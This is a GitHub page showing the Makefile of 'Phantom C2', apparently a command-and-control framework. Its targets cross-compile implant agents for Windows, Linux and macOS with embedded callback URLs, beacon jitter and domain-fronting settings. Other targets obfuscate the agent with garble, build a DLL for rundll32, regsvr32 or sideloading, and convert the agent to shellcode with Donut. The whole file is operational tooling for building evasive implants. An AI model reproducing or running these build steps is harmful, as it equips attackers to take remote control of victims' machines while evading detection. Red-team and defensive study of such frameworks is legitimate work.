-
Notifications
You must be signed in to change notification settings - Fork 6
Expand file tree
/
Copy pathMakefile
More file actions
187 lines (161 loc) · 7.51 KB
/
Makefile
File metadata and controls
187 lines (161 loc) · 7.51 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
MODULE := github.com/phantom-c2/phantom
SERVER_BIN := phantom-server
AGENT_BIN := phantom-agent
BUILD_DIR := build
AGENT_DIR := $(BUILD_DIR)/agents
VERSION := $(shell git describe --tags --always --dirty 2>/dev/null || echo "dev")
LDFLAGS := -s -w -X '$(MODULE)/internal/implant.Version=$(VERSION)'
LISTENER_URL ?= https://127.0.0.1:443 # comma-separated for failover, e.g.: https://primary:443,https://backup:443
SLEEP ?= 10
JITTER ?= 20
FRONT_DOMAIN ?=
HOST_HEADER ?=
SERVER_PUBKEY := $(shell openssl rsa -pubin -in configs/server.pub -outform DER 2>/dev/null | base64 -w0)
# ──────────────── Server ────────────────
.PHONY: server
server: ## Build the server binary
@echo "[*] Building Phantom server..."
@mkdir -p $(BUILD_DIR)
go build -ldflags "$(LDFLAGS)" -o $(BUILD_DIR)/$(SERVER_BIN) ./cmd/server
@echo "[+] Server built: $(BUILD_DIR)/$(SERVER_BIN)"
# ──────────────── Agents ────────────────
.PHONY: agent-windows
agent-windows: ## Cross-compile Windows/amd64 agent
@echo "[*] Building Windows/amd64 agent..."
@mkdir -p $(AGENT_DIR)
GOOS=windows GOARCH=amd64 CGO_ENABLED=0 \
go build -ldflags "$(LDFLAGS) \
-X '$(MODULE)/internal/implant.ListenerURL=$(LISTENER_URL)' \
-X '$(MODULE)/internal/implant.SleepSeconds=$(SLEEP)' \
-X '$(MODULE)/internal/implant.JitterPercent=$(JITTER)' \
-X '$(MODULE)/internal/implant.ServerPubKey=$(SERVER_PUBKEY)' \
-X '$(MODULE)/internal/implant.FrontDomain=$(FRONT_DOMAIN)' \
-X '$(MODULE)/internal/implant.HostHeader=$(HOST_HEADER)'" \
-o $(AGENT_DIR)/$(AGENT_BIN)_windows_amd64.exe ./cmd/agent
@echo "[+] Agent built: $(AGENT_DIR)/$(AGENT_BIN)_windows_amd64.exe"
.PHONY: agent-linux
agent-linux: ## Cross-compile Linux/amd64 agent
@echo "[*] Building Linux/amd64 agent..."
@mkdir -p $(AGENT_DIR)
GOOS=linux GOARCH=amd64 CGO_ENABLED=0 \
go build -ldflags "$(LDFLAGS) \
-X '$(MODULE)/internal/implant.ListenerURL=$(LISTENER_URL)' \
-X '$(MODULE)/internal/implant.SleepSeconds=$(SLEEP)' \
-X '$(MODULE)/internal/implant.JitterPercent=$(JITTER)' \
-X '$(MODULE)/internal/implant.ServerPubKey=$(SERVER_PUBKEY)' \
-X '$(MODULE)/internal/implant.FrontDomain=$(FRONT_DOMAIN)' \
-X '$(MODULE)/internal/implant.HostHeader=$(HOST_HEADER)'" \
-o $(AGENT_DIR)/$(AGENT_BIN)_linux_amd64 ./cmd/agent
@echo "[+] Agent built: $(AGENT_DIR)/$(AGENT_BIN)_linux_amd64"
.PHONY: agent-darwin
agent-darwin: ## Cross-compile macOS/amd64 agent
@echo "[*] Building macOS/amd64 agent..."
@mkdir -p $(AGENT_DIR)
GOOS=darwin GOARCH=amd64 CGO_ENABLED=0 \
go build -ldflags "$(LDFLAGS) \
-X '$(MODULE)/internal/implant.ListenerURL=$(LISTENER_URL)' \
-X '$(MODULE)/internal/implant.SleepSeconds=$(SLEEP)' \
-X '$(MODULE)/internal/implant.JitterPercent=$(JITTER)' \
-X '$(MODULE)/internal/implant.ServerPubKey=$(SERVER_PUBKEY)' \
-X '$(MODULE)/internal/implant.FrontDomain=$(FRONT_DOMAIN)' \
-X '$(MODULE)/internal/implant.HostHeader=$(HOST_HEADER)'" \
-o $(AGENT_DIR)/$(AGENT_BIN)_darwin_amd64 ./cmd/agent-darwin
@echo "[+] Agent built: $(AGENT_DIR)/$(AGENT_BIN)_darwin_amd64"
.PHONY: agent-garble-windows
agent-garble-windows: ## Obfuscated Windows agent via garble
@echo "[*] Building obfuscated Windows/amd64 agent..."
@mkdir -p $(AGENT_DIR)
GOOS=windows GOARCH=amd64 CGO_ENABLED=0 \
garble -literals -tiny -seed=random build \
-ldflags "$(LDFLAGS) \
-X '$(MODULE)/internal/implant.ListenerURL=$(LISTENER_URL)' \
-X '$(MODULE)/internal/implant.SleepSeconds=$(SLEEP)' \
-X '$(MODULE)/internal/implant.JitterPercent=$(JITTER)'" \
-o $(AGENT_DIR)/$(AGENT_BIN)_windows_amd64_garbled.exe ./cmd/agent
@echo "[+] Obfuscated agent built: $(AGENT_DIR)/$(AGENT_BIN)_windows_amd64_garbled.exe"
.PHONY: agent-dll
agent-dll: ## Cross-compile Windows DLL agent (rundll32/regsvr32/sideload)
@echo "[*] Building Windows/amd64 DLL agent..."
@mkdir -p $(AGENT_DIR)
GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc \
go build -buildmode=c-shared \
-ldflags "$(LDFLAGS) \
-X '$(MODULE)/internal/implant.ListenerURL=$(LISTENER_URL)' \
-X '$(MODULE)/internal/implant.SleepSeconds=$(SLEEP)' \
-X '$(MODULE)/internal/implant.JitterPercent=$(JITTER)' \
-X '$(MODULE)/internal/implant.ServerPubKey=$(SERVER_PUBKEY)' \
-X '$(MODULE)/internal/implant.FrontDomain=$(FRONT_DOMAIN)' \
-X '$(MODULE)/internal/implant.HostHeader=$(HOST_HEADER)'" \
-o $(AGENT_DIR)/$(AGENT_BIN)_windows_amd64.dll ./cmd/agent-dll
@echo "[+] DLL built: $(AGENT_DIR)/$(AGENT_BIN)_windows_amd64.dll"
.PHONY: agent-shellcode
agent-shellcode: agent-windows ## Generate PIC shellcode from Windows agent via Donut
@echo "[*] Generating shellcode from Windows agent..."
@if ! command -v donut >/dev/null 2>&1; then \
echo "[-] donut not found. Install: go install github.com/wabzsy/gonut/cmd/donut@latest"; \
echo " Or: pip3 install donut-shellcode && donut --help"; \
exit 1; \
fi
@mkdir -p $(AGENT_DIR)
donut -i $(AGENT_DIR)/$(AGENT_BIN)_windows_amd64.exe \
-o $(AGENT_DIR)/$(AGENT_BIN)_windows_amd64.bin \
-a 2 -b 1 -e 3 -z 2
@echo "[+] Shellcode: $(AGENT_DIR)/$(AGENT_BIN)_windows_amd64.bin"
@ls -lh $(AGENT_DIR)/$(AGENT_BIN)_windows_amd64.bin
.PHONY: agent-all
agent-all: agent-windows agent-linux agent-darwin agent-dll ## Build all agent variants (shellcode requires donut)
@command -v donut >/dev/null 2>&1 && $(MAKE) agent-shellcode || echo "[!] Skipping shellcode (donut not installed)"
# ──────────────── Utilities ─────────────
.PHONY: keygen
keygen: ## Generate RSA keypair for server
@echo "[*] Generating RSA keypair..."
go run ./cmd/keygen -out configs/
@echo "[+] Keys saved to configs/"
.PHONY: certs
certs: ## Generate self-signed TLS certificates
@echo "[*] Generating TLS certificates..."
bash scripts/generate_certs.sh
@echo "[+] Certificates generated"
# ──────────────── Development ───────────
.PHONY: deps
deps: ## Install dependencies
go mod tidy
@echo "[*] Installing garble..."
go install mvdan.cc/garble@latest 2>/dev/null || echo "[-] garble install failed (optional)"
@echo "[+] Dependencies ready"
.PHONY: lint
lint: ## Run golangci-lint
golangci-lint run ./...
.PHONY: test
test: ## Run all tests
go test -race -count=1 ./internal/...
.PHONY: test-crypto
test-crypto: ## Run crypto package tests
go test -v -race ./internal/crypto/...
.PHONY: test-protocol
test-protocol: ## Run protocol tests
go test -v -race ./internal/protocol/...
.PHONY: run
run: server ## Build and run the server
./$(BUILD_DIR)/$(SERVER_BIN) --config configs/server.yaml
.PHONY: restart
restart: ## Kill running server, rebuild, and start
@echo "[*] Stopping Phantom server..."
@-pkill -f "$(SERVER_BIN)" 2>/dev/null; sleep 1
@$(MAKE) server
@echo "[*] Starting Phantom server..."
./$(BUILD_DIR)/$(SERVER_BIN) --config configs/server.yaml
# ──────────────── Cleanup ───────────────
.PHONY: clean
clean: ## Remove all build artifacts
rm -rf $(BUILD_DIR)
rm -f data/*.db
@echo "[+] Cleaned"
.PHONY: help
help: ## Show this help
@echo ""
@echo " Phantom C2 - Build Targets"
@echo " ─────────────────────────────────────────"
@grep -E '^[a-zA-Z_-]+:.*##' $(MAKEFILE_LIST) | awk 'BEGIN {FS = ":.*## "}; {printf " \033[36m%-25s\033[0m %s\n", $$1, $$2}'
@echo ""
.DEFAULT_GOAL := help